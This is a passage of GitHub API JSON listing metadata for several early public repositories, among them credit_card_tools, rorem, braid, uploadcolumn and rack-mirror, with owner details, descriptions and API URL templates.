django","fork":false,"url":"https://api.github.com/repos/brosner/oebfare","forks_url":"https://api.github.com/repos/brosner/oebfare/forks","keys_url":"https://api.github.com/repos/brosner/oebfare/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brosner/oebfare/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brosner/oebfare/teams","hooks_url":"https://api.github.com/repos/brosner/oebfare/hooks","issue_events_url":"https://api.github.com/repos/brosner/oebfare/issues/events{/number}","events_url":"https://api.github.com/repos/brosner/oebfare/events","assignees_url":"https://api.github.com/repos/brosner/oebfare/assignees{/user}","branches_url":"https://api.github.com/repos/brosner/oebfare/branches{/branch}","tags_url":"https://api.github.com/repos/brosner/oebfare/tags","blobs_url":"https://api.github.com/repos/brosner/oebfare/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brosner/oebfare/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brosner/oebfare/git/refs{/sha}","trees_url":"https://api.github.com/repos/brosner/oebfare/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brosner/oebfare/statuses/{sha}","languages_url":"https://api.github.com/repos/brosner/oebfare/languages","stargazers_url":"https://api.github.com/repos/brosner/oebfare/stargazers","contributors_url":"https://api.github.com/repos/brosner/oebfare/contributors","subscribers_url":"https://api.github.com/repos/brosner/oebfare/subscribers","subscription_url":"https://api.github.com/repos/brosner/oebfare/subscription","commits_url":"https://api.github.com/repos/brosner/oebfare/commits{/sha}","git_commits_url":"https://api.github.com/repos/brosner/oebfare/git/commits{/sha}","comments_url":"https://api.github.com/repos/brosner/oebfare/comments{/number}","issue_comment_url":"https://api.github.com/repos/brosner/oebfare/issues/comments/{number}","contents_url":"https://api.github.com/repos/brosner/oebfare/contents/{+path}","compare_url":"https://api.github.com/repos/brosner/oebfare/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brosner/oebfare/merges","archive_url":"https://api.github.com/repos/brosner/oebfare/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brosner/oebfare/downloads","issues_url":"https://api.github.com/repos/brosner/oebfare/issues{/number}","pulls_url":"https://api.github.com/repos/brosner/oebfare/pulls{/number}","milestones_url":"https://api.github.com/repos/brosner/oebfare/milestones{/number}","notifications_url":"https://api.github.com/repos/brosner/oebfare/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brosner/oebfare/labels{/name}"},{"id":245,"name":"credit_card_tools","full_name":"up_the_irons/credit_card_tools","owner":{"login":"up_the_irons","id":121,"avatar_url":"https://2.gravatar.com/avatar/d9ae72d7364c7909a0a4b02cba72438a?d=https%3A%2F%2Fidenticons.github.com%2F4c56ff4ce4aaf9573aa5dff913df997a.png","gravatar_id":"d9ae72d7364c7909a0a4b02cba72438a","url":"https://api.github.com/users/up_the_irons","html_url":"https://github.com/up_the_irons","followers_url":"https://api.github.com/users/up_the_irons/followers","following_url":"https://api.github.com/users/up_the_irons/following{/other_user}","gists_url":"https://api.github.com/users/up_the_irons/gists{/gist_id}","starred_url":"https://api.github.com/users/up_the_irons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/up_the_irons/subscriptions","organizations_url":"https://api.github.com/users/up_the_irons/orgs","repos_url":"https://api.github.com/users/up_the_irons/repos","events_url":"https://api.github.com/users/up_the_irons/events{/privacy}","received_events_url":"https://api.github.com/users/up_the_irons/received_events","type":"User"},"private":false,"html_url":"https://github.com/up_the_irons/credit_card_tools","description":"Tools for processing credit cards on the command line","fork":false,"url":"https://api.github.com/repos/up_the_irons/credit_card_tools","forks_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/forks","keys_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/teams","hooks_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/hooks","issue_events_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues/events{/number}","events_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/events","assignees_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/assignees{/user}","branches_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/branches{/branch}","tags_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/tags","blobs_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/statuses/{sha}","languages_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/languages","stargazers_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/stargazers","contributors_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/contributors","subscribers_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/subscribers","subscription_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/subscription","commits_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues/comments/{number}","contents_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/contents/{+path}","compare_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/merges","archive_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/downloads","issues_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues{/number}","pulls_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/pulls{/number}","milestones_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/milestones{/number}","notifications_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/labels{/name}"},{"id":248,"name":"rorem","full_name":"jnicklas/rorem","owner":{"login":"jnicklas","id":134,"avatar_url":"https://0.gravatar.com/avatar/6c469749d725177dd2837d806c769cd4?d=https%3A%2F%2Fidenticons.github.com%2F02522a2b2726fb0a03bb19f2d8d9524d.png","gravatar_id":"6c469749d725177dd2837d806c769cd4","url":"https://api.github.com/users/jnicklas","html_url":"https://github.com/jnicklas","followers_url":"https://api.github.com/users/jnicklas/followers","following_url":"https://api.github.com/users/jnicklas/following{/other_user}","gists_url":"https://api.github.com/users/jnicklas/gists{/gist_id}","starred_url":"https://api.github.com/users/jnicklas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnicklas/subscriptions","organizations_url":"https://api.github.com/users/jnicklas/orgs","repos_url":"https://api.github.com/users/jnicklas/repos","events_url":"https://api.github.com/users/jnicklas/events{/privacy}","received_events_url":"https://api.github.com/users/jnicklas/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnicklas/rorem","description":"Rorem is a random data generator","fork":false,"url":"https://api.github.com/repos/jnicklas/rorem","forks_url":"https://api.github.com/repos/jnicklas/rorem/forks","keys_url":"https://api.github.com/repos/jnicklas/rorem/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnicklas/rorem/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnicklas/rorem/teams","hooks_url":"https://api.github.com/repos/jnicklas/rorem/hooks","issue_events_url":"https://api.github.com/repos/jnicklas/rorem/issues/events{/number}","events_url":"https://api.github.com/repos/jnicklas/rorem/events","assignees_url":"https://api.github.com/repos/jnicklas/rorem/assignees{/user}","branches_url":"https://api.github.com/repos/jnicklas/rorem/branches{/branch}","tags_url":"https://api.github.com/repos/jnicklas/rorem/tags","blobs_url":"https://api.github.com/repos/jnicklas/rorem/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnicklas/rorem/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnicklas/rorem/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnicklas/rorem/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnicklas/rorem/statuses/{sha}","languages_url":"https://api.github.com/repos/jnicklas/rorem/languages","stargazers_url":"https://api.github.com/repos/jnicklas/rorem/stargazers","contributors_url":"https://api.github.com/repos/jnicklas/rorem/contributors","subscribers_url":"https://api.github.com/repos/jnicklas/rorem/subscribers","subscription_url":"https://api.github.com/repos/jnicklas/rorem/subscription","commits_url":"https://api.github.com/repos/jnicklas/rorem/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnicklas/rorem/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnicklas/rorem/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnicklas/rorem/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnicklas/rorem/contents/{+path}","compare_url":"https://api.github.com/repos/jnicklas/rorem/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnicklas/rorem/merges","archive_url":"https://api.github.com/repos/jnicklas/rorem/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnicklas/rorem/downloads","issues_url":"https://api.github.com/repos/jnicklas/rorem/issues{/number}","pulls_url":"https://api.github.com/repos/jnicklas/rorem/pulls{/number}","milestones_url":"https://api.github.com/repos/jnicklas/rorem/milestones{/number}","notifications_url":"https://api.github.com/repos/jnicklas/rorem/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnicklas/rorem/labels{/name}"},{"id":249,"name":"braid","full_name":"evilchelu/braid","owner":{"login":"evilchelu","id":122,"avatar_url":"https://1.gravatar.com/avatar/0e8c5f8d88cfc1aeeb59acdcc8aad387?d=https%3A%2F%2Fidenticons.github.com%2Fa0a080f42e6f13b3a2df133f073095dd.png","gravatar_id":"0e8c5f8d88cfc1aeeb59acdcc8aad387","url":"https://api.github.com/users/evilchelu","html_url":"https://github.com/evilchelu","followers_url":"https://api.github.com/users/evilchelu/followers","following_url":"https://api.github.com/users/evilchelu/following{/other_user}","gists_url":"https://api.github.com/users/evilchelu/gists{/gist_id}","starred_url":"https://api.github.com/users/evilchelu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/evilchelu/subscriptions","organizations_url":"https://api.github.com/users/evilchelu/orgs","repos_url":"https://api.github.com/users/evilchelu/repos","events_url":"https://api.github.com/users/evilchelu/events{/privacy}","received_events_url":"https://api.github.com/users/evilchelu/received_events","type":"User"},"private":false,"html_url":"https://github.com/evilchelu/braid","description":"Simple tool to help track git and svn vendor branches in a git repository","fork":false,"url":"https://api.github.com/repos/evilchelu/braid","forks_url":"https://api.github.com/repos/evilchelu/braid/forks","keys_url":"https://api.github.com/repos/evilchelu/braid/keys{/key_id}","collaborators_url":"https://api.github.com/repos/evilchelu/braid/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/evilchelu/braid/teams","hooks_url":"https://api.github.com/repos/evilchelu/braid/hooks","issue_events_url":"https://api.github.com/repos/evilchelu/braid/issues/events{/number}","events_url":"https://api.github.com/repos/evilchelu/braid/events","assignees_url":"https://api.github.com/repos/evilchelu/braid/assignees{/user}","branches_url":"https://api.github.com/repos/evilchelu/braid/branches{/branch}","tags_url":"https://api.github.com/repos/evilchelu/braid/tags","blobs_url":"https://api.github.com/repos/evilchelu/braid/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/evilchelu/braid/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/evilchelu/braid/git/refs{/sha}","trees_url":"https://api.github.com/repos/evilchelu/braid/git/trees{/sha}","statuses_url":"https://api.github.com/repos/evilchelu/braid/statuses/{sha}","languages_url":"https://api.github.com/repos/evilchelu/braid/languages","stargazers_url":"https://api.github.com/repos/evilchelu/braid/stargazers","contributors_url":"https://api.github.com/repos/evilchelu/braid/contributors","subscribers_url":"https://api.github.com/repos/evilchelu/braid/subscribers","subscription_url":"https://api.github.com/repos/evilchelu/braid/subscription","commits_url":"https://api.github.com/repos/evilchelu/braid/commits{/sha}","git_commits_url":"https://api.github.com/repos/evilchelu/braid/git/commits{/sha}","comments_url":"https://api.github.com/repos/evilchelu/braid/comments{/number}","issue_comment_url":"https://api.github.com/repos/evilchelu/braid/issues/comments/{number}","contents_url":"https://api.github.com/repos/evilchelu/braid/contents/{+path}","compare_url":"https://api.github.com/repos/evilchelu/braid/compare/{base}...{head}","merges_url":"https://api.github.com/repos/evilchelu/braid/merges","archive_url":"https://api.github.com/repos/evilchelu/braid/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/evilchelu/braid/downloads","issues_url":"https://api.github.com/repos/evilchelu/braid/issues{/number}","pulls_url":"https://api.github.com/repos/evilchelu/braid/pulls{/number}","milestones_url":"https://api.github.com/repos/evilchelu/braid/milestones{/number}","notifications_url":"https://api.github.com/repos/evilchelu/braid/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/evilchelu/braid/labels{/name}"},{"id":251,"name":"uploadcolumn","full_name":"jnicklas/uploadcolumn","owner":{"login":"jnicklas","id":134,"avatar_url":"https://0.gravatar.com/avatar/6c469749d725177dd2837d806c769cd4?d=https%3A%2F%2Fidenticons.github.com%2F02522a2b2726fb0a03bb19f2d8d9524d.png","gravatar_id":"6c469749d725177dd2837d806c769cd4","url":"https://api.github.com/users/jnicklas","html_url":"https://github.com/jnicklas","followers_url":"https://api.github.com/users/jnicklas/followers","following_url":"https://api.github.com/users/jnicklas/following{/other_user}","gists_url":"https://api.github.com/users/jnicklas/gists{/gist_id}","starred_url":"https://api.github.com/users/jnicklas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnicklas/subscriptions","organizations_url":"https://api.github.com/users/jnicklas/orgs","repos_url":"https://api.github.com/users/jnicklas/repos","events_url":"https://api.github.com/users/jnicklas/events{/privacy}","received_events_url":"https://api.github.com/users/jnicklas/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnicklas/uploadcolumn","description":"UploadColumn is no longer maintained, check out CarrierWave for an alternative","fork":false,"url":"https://api.github.com/repos/jnicklas/uploadcolumn","forks_url":"https://api.github.com/repos/jnicklas/uploadcolumn/forks","keys_url":"https://api.github.com/repos/jnicklas/uploadcolumn/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnicklas/uploadcolumn/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnicklas/uploadcolumn/teams","hooks_url":"https://api.github.com/repos/jnicklas/uploadcolumn/hooks","issue_events_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues/events{/number}","events_url":"https://api.github.com/repos/jnicklas/uploadcolumn/events","assignees_url":"https://api.github.com/repos/jnicklas/uploadcolumn/assignees{/user}","branches_url":"https://api.github.com/repos/jnicklas/uploadcolumn/branches{/branch}","tags_url":"https://api.github.com/repos/jnicklas/uploadcolumn/tags","blobs_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnicklas/uploadcolumn/statuses/{sha}","languages_url":"https://api.github.com/repos/jnicklas/uploadcolumn/languages","stargazers_url":"https://api.github.com/repos/jnicklas/uploadcolumn/stargazers","contributors_url":"https://api.github.com/repos/jnicklas/uploadcolumn/contributors","subscribers_url":"https://api.github.com/repos/jnicklas/uploadcolumn/subscribers","subscription_url":"https://api.github.com/repos/jnicklas/uploadcolumn/subscription","commits_url":"https://api.github.com/repos/jnicklas/uploadcolumn/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnicklas/uploadcolumn/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnicklas/uploadcolumn/contents/{+path}","compare_url":"https://api.github.com/repos/jnicklas/uploadcolumn/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnicklas/uploadcolumn/merges","archive_url":"https://api.github.com/repos/jnicklas/uploadcolumn/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnicklas/uploadcolumn/downloads","issues_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues{/number}","pulls_url":"https://api.github.com/repos/jnicklas/uploadcolumn/pulls{/number}","milestones_url":"https://api.github.com/repos/jnicklas/uploadcolumn/milestones{/number}","notifications_url":"https://api.github.com/repos/jnicklas/uploadcolumn/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnicklas/uploadcolumn/labels{/name}"},{"id":252,"name":"ruby-on-rails-tmbundle","full_name":"simonjefford/ruby-on-rails-tmbundle","owner":{"login":"simonjefford","id":136,"avatar_url":"https://1.gravatar.com/avatar/46fd60ea4dde74f3d46fcfd27ed700bf?d=https%3A%2F%2Fidenticons.github.com%2F42a0e188f5033bc65bf8d78622277c4e.png","gravatar_id":"46fd60ea4dde74f3d46fcfd27ed700bf","url":"https://api.github.com/users/simonjefford","html_url":"https://github.com/simonjefford","followers_url":"https://api.github.com/users/simonjefford/followers","following_url":"https://api.github.com/users/simonjefford/following{/other_user}","gists_url":"https://api.github.com/users/simonjefford/gists{/gist_id}","starred_url":"https://api.github.com/users/simonjefford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simonjefford/subscriptions","organizations_url":"https://api.github.com/users/simonjefford/orgs","repos_url":"https://api.github.com/users/simonjefford/repos","events_url":"https://api.github.com/users/simonjefford/events{/privacy}","received_events_url":"https://api.github.com/users/simonjefford/received_events","type":"User"},"private":false,"html_url":"https://github.com/simonjefford/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/labels{/name}"},{"id":256,"name":"rack-mirror","full_name":"chneukirchen/rack-mirror","owner":{"login":"chneukirchen","id":139,"avatar_url":"https://0.gravatar.com/avatar/7264fb16beeea92b89bb42023738259d?d=https%3A%2F%2Fidenticons.github.com%2Fe00da03b685a0dd18fb6a08af0923de0.png","gravatar_id":"7264fb16beeea92b89bb42023738259d","url":"https://api.github.com/users/chneukirchen","html_url":"https://github.com/chneukirchen","followers_url":"https://api.github.com/users/chneukirchen/followers","following_url":"https://api.github.com/users/chneukirchen/following{/other_user}","gists_url":"https://api.github.com/users/chneukirchen/gists{/gist_id}","starred_url":"https://api.github.com/users/chneukirchen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chneukirchen/subscriptions","organizations_url":"https://api.github.com/users/chneukirchen/orgs","repos_url":"https://api.github.com/users/chneukirchen/repos","events_url":"https://api.github.com/users/chneukirchen/events{/privacy}","received_events_url":"https://api.github.com/users/chneukirchen/received_events","type":"User"},"private":false,"html_url":"https://github.com/chneukirchen/rack-mirror","description":"OUTDATED mirror of Rack's darcs repository, use github.com/chneukirchen/rack","fork":false,"url":"https://api.github.com/repos/chneukirchen/rack-mirror","forks_url":"https://api.github.com/repos/chneukirchen/rack-mirror/forks","keys_url":"https://api.github.com/repos/chneukirchen/rack-mirror/keys{/key_id}","collaborators_url":"https://api.github.com/repos/chneukirchen/rack-mirror/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/chneukirchen/rack-mirror/teams","hooks_url":"https://api.github.com/repos/chneukirchen/rack-mirror/hooks","issue_events_url":"https://api.github.com/repos/chneukirchen/rack-mirror/issues/events{/number}","events_url":"https://api.github.com/repos/chneukirchen/rack-mirror/events","assignees_url":"https://api.github.com/repos/chneukirchen/rack-mirror/assignees{/user}","branches_url":"https://api.github.com/repos/chneukirchen/rack-mirror/branches{/branch}","tags_url":"https://api.github.com/repos/chneukirchen/rack-mirror/tags","blobs_url":"https://api.github.com/repos/chneukirchen/rack-mirror/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/chneukirchen/rack-mirror/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/chneukirchen/rack-mirror/git/refs{/sha}","trees_url":"https://api.github.com/repos/chneukirchen/rack-mirror/git/trees{/sha}","statuses_url":"https://api.github.com/repos/chneukirchen/rack-mirror/statuses/{sha}","languages_url":"https://api.github.com/repos/chneukirchen/rack-mirror/languages","stargazers_url":"https://api.github.com/repos/chneukirchen/rack-mirror/stargazers","contributors_url":"https://api.github.com/repos/chneukirchen/rack-mirror/contributors","subscribers_url":"https://api.github.com/repos/chneukirchen/rack-mirror/subscribers","subscription_url":"https://api.github.com/repos/chneukirchen/rack-mirror/subscription","commits_url":"https://api.github.com/repos/chneukirchen/rack-mirror/commits{/sha}","git_commits_url":"https://api.github.com/repos/chneukirchen/rack-mirror/git/commits{/sha}","comments_url":"https://api.github.com/repos/chneukirchen/rack-mirror/comments{/number}","issue_comment_url":"https://api.github.com/repos/chneukirchen/rack-mirror/issues/comments/{number}","contents_url":"https://api.github.com/repos/chneukirchen/rack-mirror/contents/{+path}","compare_url":"https://api.github.com/repos/chneukirchen/rack-mirror/compare/{base}...{head}","merges_url":"https://api.github.com/repos/chneukirchen/rack-mirror/merges","archive_url":"https://api.github.com/repos/chneukirchen/rack-mirror/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/chneukirchen/rack-mirror/downloads","issues_url":"https://api.github.com/repos/chneukirchen/rack-mirror/issues{/number}","pulls_url":"https://api.github.com/repos/chneukirchen/rack-mirror/pulls{/number}","milestones_url":"https://api.github.com/repos/chneukirchen/rack-mirror/milestones{/number}","notifications_url":"https://api.github.com/repos/chneukirchen/rack-mirror/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/chneukirchen/rack-mirror/labels{/name}"},{"id":257,"name":"coset-mirror","full_name":"chneukirchen/coset-mirror","owner":{"login":"chneukirchen","id":139,"avatar_url":"https://0.gravatar.com/avatar/7264fb16beeea92b89bb42023738259d?d=https%3A%2F%2Fidenticons.github.com%2Fe00da03b685a0dd18fb6a08af0923de0.png","gravatar_id":"7264fb16beeea92b89bb42023738259d","url":"https://api.github.com/users/chneukirchen","html_url":"https://github.com/chneukirchen","followers_url":"https://api.github.com/users/chneukirchen/followers","following_url":"https://api.github.com/users/chneukirchen/following{/other_user}","gists_url":"https://api.github.com/users/chneukirchen/gists{/gist_id}","starred_url":"https://api.github.com/users/chneukirchen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chneukirchen/subscriptions","organizations_url":"https://api.github.com/users/chneukirchen/orgs","repos_url":"https://api.github.com/users/chneukirchen/repos","events_url":"https://api.github.com/users/chneukirchen/events{/privacy}","received_events_url":"https://api.github.com/users/chneukirchen/received_events","type":"User"},"private":false,"html_url":"https://github.com/chneukirchen/coset-mirror","description":"(experimental) Mirror of the coset darcs repository","fork":false,"url":"https://api.github.com/repos/chneukirchen/coset-mirror","forks_url":"https://api.github.com/repos/chneukirchen/coset-mirror/forks","keys_url":"https://api.github.com/repos/chneukirchen/coset-mirror/keys{/key_id}","collaborators_url":"https://api.github.com/repos/chneukirchen/coset-mirror/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/chneukirchen/coset-mirror/teams","hooks_url":"https://api.github.com/repos/chneukirchen/coset-mirror/hooks","issue_events_url":"https://api.github.com/repos/chneukirchen/coset-mirror/issues/events{/number}","events_url":"https://api.github.com/repos/chneukirchen/coset-mirror/events","assignees_url":"https://api.github.com/repos/chneukirchen/coset-mirror/assignees{/user}","branches_url":"https://api.github.com/repos/chneukirchen/coset-mirror/branches{/branch}","tags_url":"https://api.github.com/repos/chneukirchen/coset-mirror/tags","blobs_url":"https://api.github.com/repos/chneukirchen/coset-mirror/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/chneukirchen/coset-mirror/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/chneukirchen/coset-mirror/git/refs{/sha}","trees_url":"https://api.github.com/repos/chneukirchen/coset-mirror/git/trees{/sha}","statuses_url":"https://api.github.com/repos/chneukirchen/coset-mirror/statuses/{sha}","languages_url":"https://api.github.com/repos/chneukirchen/coset-mirror/languages","stargazers_url":"https://api.github.com/repos/chneukirchen/coset-mirror/stargazers","contributors_url":"https://api.github.com/repos/chneukirchen/coset-mirror/contributors","subscribers_url":"https://api.github.com/repos/chneukirchen/coset-mirror/subscribers","subscription_url":"https://api.github.com/repos/chneukirchen/coset-mirror/subscription","commits_url":"https://api.github.com/repos/chneukirchen/coset-mirror/commits{/sha}","git_commits_url":"https://api.github.com/repos/chneukirchen/coset-mirror/git/commits{/sha}","comments_url":"https://api.github.com/repos/chneukirchen/coset-mirror/comments{/number}","issue_comment_url":"https://api.github.com/repos/chneukirchen/coset-mirror/issues/comments/{number}","contents_url":"https://api.github.com/repos/chneukirchen/coset-mirror/contents/{+path}","compare_url":"https://api.github.com/repos/chneukirchen/coset-mirror/compare/{base}...{head}","merges_url":"https://api.github.com/repos/chneukirchen/coset-mirror/merges","archive_url":"https://api.github.com/repos/chneukirchen/coset-mirror/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/chneukirchen/coset-mirror/downloads","issues_url":"https://api.github.com/repos/chneukirchen/coset-mirror/issues{/number}","pulls_url":"https://api.github.com/repos/chneukirchen/coset-mirror/pulls{/number}","milestones_url":"https://api.github.com/repos/chneukirchen/coset-mirror/milestones{/number}","notifications_url":"https://api.github.com/repos/chneukirchen/coset-mirror/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/chneukirchen/coset-mirror/labels{/name}"},{"id":267,"name":"javascript-unittest-tmbundle","full_name":"drnic/javascript-unittest-tmbundle","owner":{"login":"drnic","id":108,"avatar_url":"https://2.gravatar.com/avatar/cb2b768a5e546b24052ea03334e43676?d=https%3A%2F%2Fidenticons.github.com%2Fa3c65c2974270fd093ee8a9bf8ae7d0b.png","gravatar_id":"cb2b768a5e546b24052ea03334e43676","url":"https://api.github.com/users/drnic","html_url":"https://github.com/drnic","followers_url":"https://api.github.com/users/drnic/followers","following_url":"https://api.github.com/users/drnic/following{/other_user}","gists_url":"https://api.github.com/users/drnic/gists{/gist_id}","starred_url":"https://api.github.com/users/drnic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drnic/subscriptions","organizations_url":"https://api.github.com/users/drnic/orgs","repos_url":"https://api.github.com/users/drnic/repos","events_url":"https://api.github.com/users/drnic/events{/privacy}","received_events_url":"https://api.github.com/users/drnic/received_events","type":"User"},"private":false,"html_url":"https://github.com/drnic/javascript-unittest-tm